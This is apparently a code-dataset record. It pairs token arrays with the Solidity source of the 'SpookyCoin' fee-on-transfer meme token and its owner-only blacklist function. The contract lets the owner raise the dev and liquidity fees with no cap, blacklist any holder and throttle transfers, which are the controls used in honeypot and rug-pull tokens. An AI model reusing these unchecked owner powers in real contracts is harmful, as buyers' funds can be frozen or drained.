0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
1071,
288,
203,
3639,
508,
273,
315,
686,
93,
301,
304,
14432,
203,
3639,
3273,
273,
315,
5856,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
12648,
31,
203,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
1234,
18,
15330,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-10-22
*/
// SPDX-License-Identifier: Unlicensed
// Telegram: https://t.me/SpookyCoin
/**
# SpookyCoin tokenomics
4% fee auto add to the liquidity pool
5% fee auto moved to dev wallet
*/
pragma solidity ^0.8.3;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SpookyCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
//create a mapping to keep track of who is blacklist
mapping (address => bool) public _isBlacklisted;
address[] private _excluded;
address public _devWalletAddress = 0xA2518201F4089FC058d8233aa3a9C485e21Da37e;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000 * 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "SpookyCoin";
string private _symbol = "SPOOKY";
uint8 private _decimals = 9;
uint256 public _devFee = 5;
uint256 private _previousDevFee = _devFee;
uint256 public _liquidityFee = 4;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 private _holderFee = 0;
uint256 private _previousHolderFee = _holderFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 40 * 10**12 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[owner()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
uint256 private numTokensSellToAddToLiquidity = 1 * 10**9;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setHolderFeePercent(uint256 holderFee) external onlyOwner() {
_holderFee = holderFee;
}
function setdevWallet(address wWallet) external onlyOwner() {
_devWalletAddress = wWallet;
}
function setDevFeePercent(uint256 devFee) external onlyOwner() {
_devFee = devFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setNumtokentoLiq(uint256 numToken) private onlyOwner() {
numTokensSellToAddToLiquidity = _tTotal.mul(numToken).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) private onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//Remove from Blacklist
function removeFromBlackList(address account) external onlyOwner {
_isBlacklisted[account] = false;
}
//adding multiple addresses to the blacklist - Used to block known bots and scammers
function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tDev, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tDev);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateHolderFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tDev);
return (tTransferAmount, tFee, tLiquidity, tDev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rDev = tDev.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rDev);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeDev(uint256 tDev) private {
uint256 currentRate = _getRate();
uint256 rDev = tDev.mul(currentRate);
_rOwned[_devWalletAddress] = _rOwned[_devWalletAddress].add(rDev);
if(_isExcluded[_devWalletAddress])
_tOwned[_devWalletAddress] = _tOwned[_devWalletAddress].add(tDev);
}
function calculateHolderFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_holderFee).div(
10**2
);
}
function calculateDevFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_devFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_holderFee == 0 && _liquidityFee == 0) return;
_previousHolderFee = _holderFee;
_previousDevFee = _devFee;
_previousLiquidityFee = _liquidityFee;
_holderFee = 0;
_devFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_holderFee = _previousHolderFee;
_devFee = _previousDevFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tDev) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeDev(tDev);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
} | adding multiple addresses to the blacklist - Used to block known bots and scammers | function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
| 6,526,809 | [
1,
3439,
3229,
6138,
358,
326,
11709,
300,
10286,
358,
1203,
4846,
2512,
87,
471,
888,
301,
81,
414,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
